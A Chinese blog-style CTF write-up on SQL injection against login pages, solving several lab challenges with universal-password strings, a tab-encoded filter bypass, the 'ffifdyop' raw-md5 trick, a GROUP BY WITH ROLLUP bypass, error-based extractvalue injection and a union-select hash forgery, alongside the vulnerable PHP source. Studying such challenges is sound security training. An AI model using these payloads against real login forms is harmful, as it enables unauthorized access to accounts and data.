login窗口for mysql_CTF| SQL注入之login界面
SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。
万能密码—very easy
题目入口:http://lab1.xseclab.com/sqli2_32 ... c31550b60/index.php
题目来源:hacking lab inject 01~
very easy.png (2.98 KB, 下载次数: 35)
2017-10-10 10:16 上传
源代码有提示:
!.png (1.79 KB, 下载次数: 23)
2017-10-10 10:16 上传
万能密码登录语句构造:
select * from admin where username='admin'and 1=1 #' and password='123456'
OR
select * from admin where username='admin'or 1 #' and password='123456'
或者不需要admin
select * from admin where username='1'or 1 or 1 #' and password='123456'
还可以用#来注释
select * from admin where username='admin'#' and password='123456'
万能密码— easy
题目入口:http://redtiger.labs.overthewire.org/level2.php
题目来源:RedTigers Hackit Level 2 Simple login-bypass
做题密码:4_is_not_random
构造语句:
username=1&password=1'or'1'or'1&login=Login
login.png (1.8 KB, 下载次数: 21)
2017-10-10 10:19 上传
万能密码— not than easy
题目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!
easy.png (18.17 KB, 下载次数: 24)
2017-10-10 10:20 上传
常规方式使用万能密码,发现'没有被过滤,or,--+,#被过滤。
beiguolv.png (78.34 KB, 下载次数: 26)
2017-10-10 10:20 上传
假设后台sql查询语句为:
select * from user where username='$user' and password='$pass'
构造payload:
username=reborn'='&password=reborn'='
000.png (9.85 KB, 下载次数: 23)
2017-10-10 10:22 上传
select * from user where username='reborn'='' and password='reborn'=''
username='reborn'返回值为0,相当于false,然后0=''的结果为1,相当于true。
所以注入语句相当于:
select * from user where 1 and 1
万能密码— little hard ?
题目入口:http://123.59.52.228:1515/route.php?act=index
题目来源:2017年全国大学生信息安全竞赛的web题。
your hat.png (19.48 KB, 下载次数: 22)
2017-10-10 10:23 上传
提交的时候,返回包有提示这么一个sql语句:
select count(*) from t_info where username = '1' or nickname = '1'
' 转义 \
\ 转义 \\
" 转义 \"
空格被过滤:但'可以转义掉原本的'
name=or 1 #'&submit=check
select count(*) from t_info where username = 'or1#\' or nickname = 'or1#\'
用%09代替空格,%09是制表符的URL编码 。
name=or%091%09#'&submit=check
select count(*) from t_info where username = 'or 1 #\' or nickname = 'or 1 #\'good job
跟随302跳转。
tiaozhuan.png (2.15 KB, 下载次数: 29)
2017-10-10 10:26 上传
万能密码— md5($pass,true)
题目入口:http://web.jarvisoj.com:32772/
题目来源:jarvis oj,Login:需要密码才能获得flag哦。
本题是一个登录页面。
页面.png (1.01 KB, 下载次数: 36)
2017-10-10 10:27 上传
通过burp抓包拦截,返回包有提示:
返回包.png (73.79 KB, 下载次数: 27)
2017-10-10 10:27 上传
Hint: "select * from `admin` where password='".md5($pass,true)."'"
* md5(string,raw)*
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:
• TRUE - 原始 16 字符二进制格式
•FALSE - 默认。32 字符十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:
select * from `admin` where password=''or'xxx'
下面提供两个payload:
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: ?T0D??o#??'or'8.N=?
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6蒥欓!r,b
类似题目:
题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/
题目来源:hacking lab inject 09~
看到源代码password='".md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
万能密码— with rollup
题目入口: http://ctf5.shiyanbar.com/web/pcat/index.php
题目来源:实验吧
访问链接是登录页面:
万能页‘’.png (17.01 KB, 下载次数: 24)
2017-10-10 10:30 上传
查看网页源代码有提示:
ts.png (1.99 KB, 下载次数: 31)
2017-10-10 10:31 上传
访问:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到题目源代码。
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '
'."
";
echo ''."
";
echo ''."
";
echo ''."
";
echo '
'."
";
echo ''."
";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
从源代码得出,注入点在uname这个位置上,$filter没有过滤掉or
注入成功要满足几个条件:
1.mysql_num_rows($query) == 1 即查询返回的结果行数为1
2.$key['pwd'] == $_POST['pwd'] 即查询返回的结果与POST发送的pwd值相同
解题:
group by pass with rollup 的技巧
mysql> select user from users group by user;
+---------+
| user |
+---------+
| 1337 |
| admin |
| gordonb |
| pablo |
| smithy |
+---------+
5 rows in set
mysql> select user from users group by user with rollup;
+---------+
| user |
+---------+
| 1337 |
| admin |
| gordonb |
| pablo |
| smithy |
| NULL |
+---------+
6 rows in set
可以发现,在加上with roll up之后,返回pass最后一行多了一个NULL。当我们POST的pass为空,即可满足$key['pwd'] == $_POST['pwd']条件。
如何让返回的结果只取最后一行呢?
因为过滤了,所以无法使用limit 5,1这样的语法
可以使用limit 1 offset 5
mysql> select user from users group by 1 with rollup limit 1 offset 5;
+------+
| user |
+------+
| NULL |
+------+
1 row in set
所以最终 payload 如下,2为遍历出来的值
uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=
万能密码— 程序逻辑
题目入口: http://ctf5.shiyanbar.com/web/5/index.php
题目来源:实验吧,程序逻辑问题
本题源代码:http://ctf5.shiyanbar.com/web/5/index.txt
welcome to simplexue
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "
Logged in! Key:**************
";
}
else {
echo("
Log in failure!
");
}
}
?>
首先可以发现user处存在注入点,并且会回显错误信息,第一个想到的是报错注入。
user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111
结果密码并不是admin/111。
user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111
结果提示:
error.png (3.09 KB, 下载次数: 27)
2017-10-10 10:39 上传
既然是程序逻辑漏洞,然就继续看代码吧。
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "
Logged in! Key:**************
";
}
判断sql查询返回的值和$pass做比较。strcasecmp比较两个字符串,且不区分大小写,相等返回0。
既然user存在注入,我们可以让返回的结果为任何值,只要等于我们输入pass的md5值。
如:reborn的md5加密的值为5ce3c6e5c3f84bdc0f45148adfd16ae6
因此我们可以构造payload:
user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn
结果:
jieguo.png (3.9 KB, 下载次数: 25)
2017-10-10 10:41 上传
640.webp.jpg (54.75 KB, 下载次数: 40)
2017-10-10 10:41 上传
login窗口for mysql_CTF| SQL注入之login界面相关推荐
- OpenEMR登录模块SQL注入分析
聚焦源代码安全,网罗国内外最新资讯! OpenEMR简介 OpenEMR 是一种免费和开源的医疗实践管理系统(Electronic Health Records,EHR),是 ONC 认证的完整电子 ...
- 究竟什么是SQL注入?
文章目录 1.前言 2.实验环境搭建 3.原理介绍 3.1 HTTP协议 3.1.1 HTTP报文 3.1.2 GET方法 3.1.3 POST方法 3.1.4 从页面到报文 3.2 SQL注入 3. ...
- 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(七)-SQL注入字符型
目录 前言: 一.简介 二.项目配置 三.代码编写 四.运行测试 前言: 前面完成了 SQL 注入漏洞的数字型输入,其实 SQL 注入漏洞还有很多其他类型的注入,例如:字符型注入.宽字节注入等,相应的 ...
- 浅谈SQL注入风险 - 一个Login拿下Server(转)
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:"老师你这SQL有注 ...
- Spring MVC防御CSRF、XSS和SQL注入攻击
本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击). 说说CSRF 对CSRF来 ...
- JDBC SQl注入
首先创建jdbc工具类 public class DBUtils {//静态加载static {try {Class.forName("com.mysql.jdbc.Driver" ...
- SQL注入与万能密码登录
今天的靶机是一个主要面向web应用程序的框架.更具体地说,我们将了解如何对启用了SQL数据库的web应用程序执行SQL注入.我们的目标是具有针对后端数据库的搜索功能的网站,该数据库包含易受此攻击的可搜 ...
- 关于web安全之sql注入攻击
前言:①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促, 能力有限,不到之处请大家批评指正: ②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是 ...
- 软件安全实验——lab8(SQL注入)(上)(旧虚拟机seedubuntu9版本实验)
目录标题 2.实验室环境 2.1环境配置 2.2关闭对策 3.实验室的任务 3.1 Task 1(30分):针对SELECT语句的SQL注入攻击 3.2 Task 2(30分): SQL注入的UPDA ...
最新文章
- FAIL - Deployed application at context path / but context failed to start
- leetcode--两数之和--python
- videoJS如何用
- 不停刷朋友圈的人_不停刷新闻、朋友圈、微信群的朋友,休息一下,看多了伤身!...
- 华为OJ: 公共字符串计算
- java 数据结构_Java版-数据结构-队列(数组队列)
- 【ElasticSearch】 ElasticSearch 读取 流程
- springboot thymeleaf模板使用
- expr命令的一些用法
- LaTex写实验报告
- 2020 2月 月末总结
- Android使用LAME Mp3编码
- python能不能开发app_Python可以开发APP吗?老男孩Python教育
- 使用threejs开发微信小游戏全过程
- 罗马数字和阿拉伯数字互转(源码)
- [数学知识][几何]求三角形面积的几种方法
- 理财U24 认股权证、可赎债、可转债、永续债、优先股 教材解读
- Word2013制作中国的传统福字在屋门上贴的福字(福倒了)
- 手机网站开发的经验总结
- WinCE USB驱动CDevice::EnterOperationalState函数相关